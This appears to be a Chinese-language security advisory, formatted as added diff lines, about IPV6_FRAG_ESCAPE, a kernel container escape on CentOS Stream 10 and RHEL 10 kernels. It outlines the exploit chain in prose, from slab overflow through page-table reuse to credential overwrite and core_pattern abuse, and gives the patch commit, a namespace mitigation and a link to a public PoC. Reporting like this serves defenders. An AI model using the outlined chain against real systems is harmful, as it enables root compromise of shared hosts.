+容器隔离是一道核心的安全边界,而这个漏洞打破了它。已经能在容器内执行代码的攻击者,可借此触及宿主机的 root 文件系统。 + +此外,该 PoC 只需要非特权用户命名空间(unprivileged user namespaces)即可。许多 CentOS 和 RHEL 10 系统默认启用了这一功能。因此,在多租户(multi-tenant)和云主机环境中,其攻击面相当广泛。 + +**攻击原理** + +该漏洞是一种 slab 内的线性溢出(in-slab linear overflow)。它会越过数据包缓冲区写入,一直写到位于其尾部的 skb_shared_info + 结构。 + +由此开始,攻击链逐步升级。首先,溢出翻转了一个控制字节,并触发页面释放后使用(page use-after-free)。接着,这个被释放的页面以叶级页表(leaf page table)的形式被重新分配回来,从而实现任意内核读写。最后,该利用程序改写进程凭据(credentials),并滥用 core_pattern + 机制,在宿主机上生成一个 root shell。 + +值得注意的是,Oldani 记录了攻击机制,但保留了触发部分(trigger)未予公开。他的分析报告阐述了原理,却没有提供一个开箱即用的现成攻击武器。 + +**测试目标** + +Oldani 在两个构建版本上验证了该逃逸。CentOS Stream 10 运行的是内核 6.12.0-242.el10;RHEL 10 运行的是内核 6.12.0-228.el10。两者最终都获得了宿主机 root 权限。 + +**受影响版本** + +该 PoC 针对运行 6.12.x 内核分支的 CentOS 和 RHEL 10。它还需要满足五级分页(5-level paging)以及默认的 init_on_alloc + 设置。此外,作者指出,其他内核日后可能会被另一种技术攻破。 + +**补丁与缓解措施** + +上游(upstream)修复已于 2026 年 6 月 16 日以提交(commit)736b380e28d0 的形式合入。该修复纠正了分页分配路径上的分片运算逻辑。因此,第一步很简单:升级到已打补丁的内核。 + +如果无法立即打补丁,应限制非特权用户命名空间。将 user.max_user_namespaces=0 + 设为该值即可阻断已被记录的攻击路径。 + +**利用现状** + +由于作者本人公开发布,目前已存在公开的概念验证(PoC)。不过,尚未确认 IPV6_FRAG_ESCAPE 存在任何在野利用(in-the-wild)的情况。尽管如此,防御者仍应尽快打补丁,因为公开代码会降低攻击者的门槛。 + +参考链接： + +https://github.com/sgkdev/ipv6_frag_escape +